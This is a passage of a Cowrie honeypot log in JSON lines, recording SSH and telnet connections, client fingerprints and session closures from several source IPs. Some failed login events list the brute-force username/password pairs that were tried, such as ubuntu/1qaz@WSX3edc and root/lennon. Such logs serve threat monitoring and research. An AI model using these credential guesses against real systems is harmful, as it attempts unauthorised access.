af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:55.437815Z","src_ip":"152.32.171.213","session":"53065cb534e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"1234","message":"login attempt [test2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:56.331005Z","src_ip":"152.32.171.213","session":"53065cb534e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:57.548792Z","src_ip":"152.32.171.213","session":"53065cb534e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.05704402923584,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:58.305365Z","src_ip":"188.208.141.113","session":"ac85b2a862b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.713698863983154,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:00.927176Z","src_ip":"188.208.141.113","session":"22d9ad842976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.974751234054565,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:02.331207Z","src_ip":"188.208.141.113","session":"a8f254362bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.17518138885498,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:02.522417Z","src_ip":"64.227.9.242","session":"e62b81ccbfae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59734,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4194d500a3","protocol":"telnet","message":"New connection: 64.227.9.242:59734 (159.203.135.109:23) [session: ec4194d500a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:02.568378Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60500,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b539cd9cba","protocol":"telnet","message":"New connection: 64.227.9.242:60500 (159.203.135.109:23) [session: a0b539cd9cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:03.248698Z"}
{"eventid":"cowrie.session.closed","duration":36.04236388206482,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:04.104527Z","src_ip":"64.227.9.242","session":"6521d60a630e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"45467891308e","protocol":"telnet","message":"New connection: 188.208.141.113:35808 (10.17.0.5:23) [session: 45467891308e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:06.180345Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35818,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c88194c9e20","protocol":"telnet","message":"New connection: 188.208.141.113:35818 (10.17.0.5:23) [session: 7c88194c9e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:06.507616Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35820,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1f83a9a0e6b","protocol":"telnet","message":"New connection: 188.208.141.113:35820 (10.17.0.5:23) [session: d1f83a9a0e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:06.832246Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57006,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ecb002a6d7","protocol":"telnet","message":"New connection: 188.208.141.113:57006 (10.17.0.5:23) [session: 46ecb002a6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:11.435018Z"}
{"eventid":"cowrie.session.closed","duration":36.11048626899719,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:12.009815Z","src_ip":"64.227.9.242","session":"3098215132bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.665114402770996,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:12.506596Z","src_ip":"188.208.141.113","session":"69874cdc8e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.63677763938904,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:13.715650Z","src_ip":"188.208.141.113","session":"0f180a7c191c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.29748845100403,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:14.568812Z","src_ip":"64.227.9.242","session":"21bcdce0e413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57016,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6724bbb425","protocol":"telnet","message":"New connection: 188.208.141.113:57016 (10.17.0.5:23) [session: bd6724bbb425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:15.157620Z"}
{"eventid":"cowrie.session.closed","duration":34.56397318840027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:15.623803Z","src_ip":"64.227.9.242","session":"578e931dcd9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57018,"dst_ip":"10.17.0.5","dst_port":23,"session":"9964f7281d7a","protocol":"telnet","message":"New connection: 188.208.141.113:57018 (10.17.0.5:23) [session: 9964f7281d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:16.032986Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":654,"dst_ip":"10.17.0.5","dst_port":23,"session":"62cbe5fb4a91","protocol":"telnet","message":"New connection: 198.58.117.211:654 (10.17.0.5:23) [session: 62cbe5fb4a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:16.502963Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"59dcbe7dfe75","protocol":"telnet","message":"New connection: 188.208.141.113:57022 (10.17.0.5:23) [session: 59dcbe7dfe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:16.545317Z"}
{"eventid":"cowrie.session.closed","duration":34.704630851745605,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:16.674032Z","src_ip":"64.227.9.242","session":"9166faf43505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.80073857307434,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:17.057826Z","src_ip":"188.208.141.113","session":"1045d5952ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57028,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d5173ce45fc","protocol":"telnet","message":"New connection: 188.208.141.113:57028 (10.17.0.5:23) [session: 0d5173ce45fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:17.276084Z"}
{"eventid":"cowrie.session.closed","duration":1.3968236446380615,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:17.899351Z","src_ip":"198.58.117.211","session":"62cbe5fb4a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52670,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e685396b7a","protocol":"telnet","message":"New connection: 64.227.9.242:52670 (159.203.135.109:23) [session: a5e685396b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:19.071003Z"}
{"eventid":"cowrie.session.closed","duration":36.083444595336914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:23.128884Z","src_ip":"64.227.9.242","session":"0ed856c0f614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.97361159324646,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:23.898261Z","src_ip":"188.208.141.113","session":"47ff933f7b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.663954496383667,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:25.209187Z","src_ip":"188.208.141.113","session":"59dcbe7dfe75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60400,"dst_ip":"10.17.0.5","dst_port":23,"session":"720017884a06","protocol":"telnet","message":"New connection: 188.208.141.113:60400 (10.17.0.5:23) [session: 720017884a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:25.689910Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":58126,"dst_ip":"10.17.0.5","dst_port":22,"session":"f592113f8550","protocol":"ssh","message":"New connection: 112.217.199.222:58126 (10.17.0.5:22) [session: f592113f8550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:27.495738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:27.500433Z","src_ip":"112.217.199.222","session":"f592113f8550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:27.704940Z","src_ip":"112.217.199.222","session":"f592113f8550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX3edc","message":"login attempt [ubuntu/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:28.546780Z","src_ip":"112.217.199.222","session":"f592113f8550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:29.751765Z","src_ip":"112.217.199.222","session":"f592113f8550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60494,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c2e10d9578","protocol":"telnet","message":"New connection: 188.208.141.113:60494 (10.17.0.5:23) [session: b8c2e10d9578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:34.276233Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44648,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fb7b8a44a40","protocol":"telnet","message":"New connection: 64.227.9.242:44648 (159.203.135.109:23) [session: 7fb7b8a44a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:35.440108Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60502,"dst_ip":"10.17.0.5","dst_port":23,"session":"93af40af41e2","protocol":"telnet","message":"New connection: 188.208.141.113:60502 (10.17.0.5:23) [session: 93af40af41e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:36.151381Z"}
{"eventid":"cowrie.session.closed","duration":46.46792411804199,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:36.413192Z","src_ip":"188.208.141.113","session":"4cdc7cd1e376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.149840354919434,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:38.718071Z","src_ip":"64.227.9.242","session":"ec4194d500a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.842355489730835,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:39.090913Z","src_ip":"64.227.9.242","session":"a0b539cd9cba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":49882,"dst_ip":"159.203.135.109","dst_port":22,"session":"91ae348d12b2","protocol":"ssh","message":"New connection: 193.24.211.95:49882 (159.203.135.109:22) [session: 91ae348d12b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:40.804828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:40.817432Z","src_ip":"193.24.211.95","session":"91ae348d12b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:40.913973Z","src_ip":"193.24.211.95","session":"91ae348d12b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lennon","message":"login attempt [root/lennon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:41.353683Z","src_ip":"193.24.211.95","session":"91ae348d12b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:42.462382Z","src_ip":"193.24.211.95","session":"91ae348d12b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56096,"dst_ip":"159.203.135.109","dst_port":23,"session":"532411324c4c","protocol":"telnet","message":"New connection: 64.227.9.242:56096 (159.203.135.109:23) [session: 532411324c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:43.979959Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39850,"dst_ip":"10.17.0.5","dst_port":23,"session":"10337f080cb6","protocol":"telnet","message":"New connection: 188.208.141.113:39850 (10.17.0.5:23) [session: 10337f080cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:44.713489Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57806,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfad44da089","protocol":"telnet","message":"New connection: 64.227.9.242:57806 (159.203.135.109:23) [session: 9bfad44da089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:45.357998Z"}
{"eventid":"cowrie.session.closed","duration":39.17463994026184,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:46.006764Z","src_ip":"188.208.141.113","session":"d1f83a9a0e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58690,"dst_ip":"159.203.135.109","dst_port":23,"session":"450719b4e219","protocol":"telnet","message":"New connection: 64.227.9.242:58690 (159.203.135.109:23) [session: 450719b4e219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:46.242569Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":55690,"dst_ip":"10.17.0.5","dst_port":22,"session":"0324d24bbee0","protocol":"ssh","message":"New connection: 1.235.192.214:55690 (10.17.0.5:22) [session: 0324d24bbee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:47.315416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:47.319752Z","src_ip":"1.235.192.214","session":"0324d24bbee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:47.509106Z","src_ip":"1.235.192.214","session":"0324d24bbee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.81178832054138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:48.246705Z","src_ip":"188.208.141.113","session":"46ecb002a6d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pzserver","password":"pzserver","message":"login attempt [pzserver/pzserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:48.299923Z","src_ip":"1.235.192.214","session":"0324d24bbee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.214178800582886,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:48.721668Z","src_ip":"188.208.141.113","session":"7c88194c9e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:49.491044Z","src_ip":"1.235.192.214","session":"0324d24bbee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35550,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4d753a4ca0","protocol":"telnet","message":"New connection: 64.227.9.242:35550 (159.203.135.109:23) [session: 9c4d753a4ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:50.484746Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58396,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4909c1cae75","protocol":"telnet","message":"New connection: 188.208.141.113:58396 (10.17.0.5:23) [session: e4909c1cae75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:51.126813Z"}
{"eventid":"cowrie.session.closed","duration":45.068204402923584,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:51.248367Z","src_ip":"188.208.141.113","session":"45467891308e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8b992b4a79","protocol":"telnet","message":"New connection: 64.227.9.242:35980 (159.203.135.109:23) [session: 6a8b992b4a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:52.319971Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38190,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4cd466b1bba","protocol":"telnet","message":"New connection: 64.227.9.242:38190 (159.203.135.109:23) [session: a4cd466b1bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:53.686117Z"}
{"eventid":"cowrie.session.closed","duration":35.594590187072754,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:54.665459Z","src_ip":"64.227.9.242","session":"a5e685396b7a","protocol":"telnet"}
